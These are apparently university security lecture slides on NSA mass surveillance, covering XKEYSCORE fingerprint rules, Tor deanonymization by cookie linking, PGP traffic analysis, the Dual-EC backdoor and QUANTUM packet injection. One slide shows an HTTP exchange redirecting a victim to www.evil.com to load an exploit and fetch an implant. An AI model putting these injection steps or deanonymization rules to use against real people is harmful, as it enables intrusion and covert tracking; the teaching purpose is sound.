Abusing Intrusion Detection: The NSA
Attack of the Day...

TPM-Fail

**INTRODUCTION**

Trusted Platform Module (TPM) serves as a root of trust for the operating system. TPM is supposed to protect our security keys from malicious adversaries like malware and rootkits.
One More NSA Resource: Friends and Frenemies...

- The NSA is part of an elite club
  - The 5-eyes (FVEY): US, UK, Canada, Australia, New Zealand
  - Rules are "In country X, behave country X's laws"
    - But rules on targeting US persons remain

- Plus a series of "Frenemies"
  - Hey, country A, install this wiretap on a link between you and country B
    - We will follow the rules: We won't spy on your people, you don't spy on ours, and we can see what everyone is doing
    - We cool? 👍
  - Hey, Country B...
And The Paperwork To Keep US Persons Safe...

- The Carter Page FISA warrant
- Original warrant application over 60! pages
- And a huge amount is not boilerplate, but specific analysis showing probable cause that Carter Page was an agent of the Russian Federation
- Then renewals every 60-90 days!
And The NSA Objective...

• For a valid target (Non-US person, outside the US) ... Be able to collect all relevant communications
• This requires the capability to collect on everyone!
  • After all, a valid target could be anyone, so you need global capability
• You don't know until tomorrow who you wanted to collect on today
• So the solution:
  Collect everything you feasibly can on everybody
  Store it for as long as you feasibly can
Drift Nets to Create (Content Derived) Metadata

HTTP Request:
- URL
- Spotted .onion URL: X
- Is an iPhone?
- Mojahadeen Secrets key: X
- .doc file: Author X

PGP message key: X
Pulling Threads
To Get Results
A Thread To Pull: Watching an IRC Chat

OtherDude: Hey, did you see
AnonDude: hmmm...
AnonDude: HAHAH, that's pretty funny!

Intercept captured 12/30/2011 11:32 GMT

Step 1: "Use SIGINT" (Signals Intelligence)/DNI
(Digital Network Intelligence):
Enables identification of AnonDude and developing a "pattern of life" for his online behavior

Step 2: "Use CNE" (Computer Network Exploitation):
After identification, invoke "exploit by name" to take over AnonDude's computer
Start With Your Wiretaps... XKEYSCORE DEEPDIVE
How They Work: Scalable Network Intrusion Detection Systems. Yeup, exactly the same!

Do this in OpenFlow:
100 Gbps installs already done

Linear Scaling:
10x the money...
10x the bandwidth!
1u gives 1-5 Gbps
Inside the NIDS

HTTP Request
URL = /fubar/
Host = ....

HTTP Request
URL = /baz/?id=...
ID = 1f413

Sendmail
From = someguy@
To = otherguy@

Unlike conventional NIDS you don't worry about evasion:
Anyone who wants to evade uses cryptography instead
Which NIDS To Use?

- **Zeek (formerly Bro) Network Security Monitor (BSD license)**
  - Includes a robust suite of protocol parsers
  - Realtime operation, invokes Bro policy scripts
  - Requires seeing both sides of the traffic

- **Lockheed/Martin Vortex (GPL)**
  - Only handles the reassembly:
    Network traffic to files, then invoke separate parser programs
  - Near real-time operation:
    Bet, this is the basis for XKEYSCORE

- **Eagle GLINT by Nexa Technologies**
  - Formerly Amesys (was part of Bull)
  - Commercial "Intelligence" interception package
Tracking People Not Machines: User Identification
Tracking People, Not Machines: Cookie Linking
Homework Assignment

Assignment previously given to advanced undergraduate class in networking

Given this Bro IDS skeleton code build the following primitives
  - HTTP title metadata extraction
  - Username identification
  - Cookie linking

11 groups of 2 in the class:
  - 1 failed to complete
  - 1 did poor job (very slow, but as I never specified performance goals…)
  - 9 success
    - Including 2-3 well written ones

Project was probably too easy…
  - The more open ended “bang on the great firewall” project was better
Bulk Recording

NSA is actually amateur hour: Bulk record is only 3-5 days, decision is “record or not”

LBNL is 3-6 months, decision includes truncation (“stop after X bytes”)

Computer Science 161 Fall 2019
Weaver
Federated Search
Using XKEYSCORE
In Practice

- Primarily centered around an easy-to-use web interface
- With a lot of pre-canned search scripts for low-sophistication users
- Plus a large number of premade "fingerprints" to identify applications, usages, etc
- The unofficial user guide: https://www.documentcloud.org/documents/2116191-unofficial-xks-user-guide.html

EX: I’m looking for Mojaheden Secrets 2 use in extremist web forums:

AKA: Tell Me All The Jihobbiests With A Single Query!
XKEYSCORE Fingerprint Writing

- A mix of basic regular expressions and optional inline C++ `??`?

- Simple rules:
  - `fingerprint('anonymizer/tor/bridge/tls') = ssl_x509_subject('bridges.torproject.org') or ssl_dns_name('bridges.torproject.org');`
  - `fingerprint('anonymizer/tor/torproject_visit') = http_host('www.torproject.org') and not(xff_cc('US' OR 'GB' OR 'CA' OR 'AU' OR 'NZ'));`

- System is "near real time":
  - Parse flow **completely** then check for signature matches
    - You write in a different style in a real-time system like Zeek
  - Which is why I think XKEYSCORE started life as Vortex
A Richer Rule:
New Zealand spying on Solomon Island gvmt...

\[
\text{fingerprint('document/solomons_gov/gov_documents')} = \\
\quad \text{document_body} \\
\quad (\text{('Memorandum by the Minister of' and 'Solomon')} \text{ or} \\
\quad \quad \text{'Cabinet of Solomon Islands' or} \\
\quad \quad \text{('conclusions of the' and 'solomon' and 'cabinet') or} \\
\quad \quad \text{('Truth and Reconciliation Commission' and 'Solomon')} \text{ or} \\
\quad \quad \text{('TRC 'c and 'trc report' and 'Solomon') or} \\
\quad \quad \text{('former tension militants' and 'Malaita') or} \\
\quad \quad \text{'malaita eagle force' or 'malaita ma\'asina forum' or} \\
\quad \quad \text{('MMF 'c and 'Solomon') or 'Members Rise Group' or} \\
\quad \quad \text{'Forum Solomon Islands' or 'FSII 'c or 'Benjamin Afuga')} \\
\quad \text{or} \\
\quad \text{document_author(word('rqurusu' or 'ptagini' or} \\
\quad \quad \text{'jremobatu' or 'riroga' or 'Barnabas Anga' or} \\
\quad \quad \text{'Robert Iroga' or 'Dr Philip Tagini' or} \\
\quad \quad \text{'Fiona Indu' or 'FSII' or 'James Remobatu' or} \\
\quad \quad \text{'Rose Qurusu' or 'Philip Tagini'))};
\]
And Inline C++...

```cpp
/** Database Tor bridge information extracted from confirmation emails. */

fingerprint('anonymizer/tor/bridge/email') =

email_address('bridges@torproject.org') and

email_body('https://bridges.torproject.org/')

extractors: {{ bridges[] =
    /bridge\s([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})?\s([0-9]{2,4}?[^0-9])*/;  }}

init: {{ xks::undefine_name("anonymizer/tor/torbridges/emailconfirmation"); }}

main: {{
    static const std::string SCHEMA_OLD = "tor_bridges";
    ...
    if (bridges) {
    ...
        xks::fire_fingerprint("anonymizer/tor/directory/bridge"); } 
    return true; }}
```
Wiretapping Crypto…
IPSec & TLS

- Good transport cryptography messes up the NSA, but…
  - There are tricks…
- The wiretaps collect encrypted traffic and pass it off to a black-box elsewhere
  - The black box, sometime later, may come back and say “this is the key”
- Sabotage: Trojaned pRNGs, both DualEC DRBG and others
- Theft: No forward secrecy? HA, got yer certificate…
- Weak Diffie/Hellman: If you always use the same prime p…
  - It takes a lot of work to break the first handshake…
  - But the rest take a lot less effort
Dual-EC DRBG

- Dual_EC is a pRNG based on elliptic curve math and two points $P$ and $Q$
  - If you generate $P = eQ$ with $e$ secret...
  - You now break the pRNG completely:
    Its a public-key based backdoor
- Anyone can generate a series of random values but...
  - Only if you know $e$ you can derive the internal state from the outputs
- And there is no rollback resistance
  - So look at the TLS handshake for DHE:
    Server generates public $R_s$ and private $a$ for $g^a \mod p$
Wiretapping Crypto: PGP (aka the NSA’s friend)

- PGP is an utter PitA to use…
  - So it is uncommon, so any usage stands out
- It has easy to recognize headers…
  - Even when you exclude `-----BEGIN PGP MESSAGE-----`
- It has no forward secrecy…
  - So if you steal someone’s key you can decrypt all their messages!
- It spews metadata around…
  - Not only the email headers used to email it…
  - But also (by default) the identity of all keys which can decrypt the message
So PGP is Actually Easy(ish…)

• You can easily map who talks to whom…
  • And when, and how much data, and who is CC’ed…
    • *Never underestimate the power of traffic analysis*
  • Thus you have the entire social graph!

• You can then identify the super nodes…
  • Those who talk to lots of other people…

• And then you pwn them!
  • See later
Query Focused Datasets:
Mostly Write-Only Data with Exact Search

Site: arstechnica.com
Username: broidsrocks
Cookie: 223e77...
From IP: 10.271.13.1
Seen: 2012-12-01 07:32:24
The EPICFAIL Query Focused Database

- Tor users (used) to be dumb...
  - And would use something other than Tor Browser Bundle to access Tor
- Of course, the "normal" browser has lots of web tracking
  - Advertising, etc....
- So the EPICFAIL QFD:
  - All tracking cookies (for specified sites) seen both from a Tor exit node and from a non-Tor source
- Allows easy deanonymization of Tor users
Using the MARINA Database Interface

- Provides a GUI for doing queries to the more centralized/longer term store
- Specifically designed to provide easy ways to go “this is the guy’s email, what other email/selectors apply” among other things

- Fields include:
  - User Activity
  - Active User
  - Profile Data
  - SparklePony?!?!
Use SIGINT

BBC Pageview
  ▼
  Double-click Ad
    ▼
    Linked User IDs
      ▼
      IP Activity History (unmasked VPNs)
        ▼
        AnonDude is...
          ▼
          "IP Intelligence"
            ▼
            AnonDude's House
Computer Network Exploitation

GET /script.js HTTP/1.1
host: www.targetdomain.com
cookie: id=iamavictim

HTTP 200 OK

GET /script.js HTTP/1.1
host: www.targetdomain.com
cookie: id=iamavictim

HTTP 302 FOUND
location: http://www.evil.com/pwnme.js

GET /pwnme.js HTTP/1.1
host: www.evil.com
cookie: id=iamavictim

HTTP 200 OK

Here's an exploit...

GET /theimplant HTTP/1.1
host: www.evil.com

HTTP 200 OK

Black Market RATs
HackingTeam
FinFisher

AirPwn -Goatse
HackingTeam

NSA Eagle from the EFF
Rat from OpenClipart
Oh, but NSA’s QUANTUM is busted!!!

- To do it properly, you need to be quick…
  - Have to win the race

- NSA Logic:
  - Weaponize our wiretaps? Sure!
  - Use it to shoot exploits at NATO allies critical infrastructure? GO FOR IT!
  - Actually build it right? Sorry, classification rules get in the way

- Instead the QUANTUM wiretap sends a “tip” into classified space
  - Through a special (slow) one-way link called a “diode”
  - That then consults the targeting decision
  - And sends the request through another “diode” back to a “shooter” on the Internet
  - That then generates the spoofed packet
The NSA’s Malcode
Equation Group & Sauron

• Kaspersky has a nice analysis done…
• Encrypted, modular, and multi-stage design
  • Different functional sub-implants for different tasks
  • Uses an encrypted file system to resist analysis
• Some very cool tricks!
  • Reflash hard drive firmware to provide a bad boot block
    • So when you read it on a powered-up disk, the disk looks fine!
    • But if its ever found, “the NSA was here!” glows large
  • Likewise, modules that can reflash particular BIOSes
• Want to gain root on a Windows box?
  • Install a signed driver that has a vulnerability
  • Then exploit that vulnerability
Interdiction…

- Why bother hacking at all…
- When you can have the USPS and UPS do the job for you!
- Simply have the package shipped to an NSA building
- And then add some entertaining specialized hardware and/or software
But the NSA has No Monopoly on Cool Here...

- This is the sort of thing the NSA has...
- A small arm controller, flash, SDRAM, and FPGA in a small package...
- This is circa 2008 but things keep getting better

- But this is a Kinetis KL02 arm chip...
- 32k flash, 4k ram, 32b ARM & peripherals (including Analog to Digital converters)
Abusive but not *abused*

- The Snowden documents and others painted a picture of a very very aggressive spying apparatus
  - The systems are indeed abusive and creepy
- But remarkably little actual abuse
  - A few cases of *LOVEINT*, and no cases of *STOCKINT*
  - No "*Industrial*" espionage
  - Sad stories of targeted individuals... with very good reasons!
And the NSA is the **Good Guys!**

- Anything the NSA did is something every other government that can do it *will!*
  - And many are far less restrained
- Everyone can use bulk surveillance on domestic traffic
  - And commercial vendors to happily supply it
- Everyone can build "NSA-in-miniature" systems for open WiFi networks
- Countries like China can sabotage items like the NSA does...
  - Why using Huawei 5G networking kit is suicidally stupid!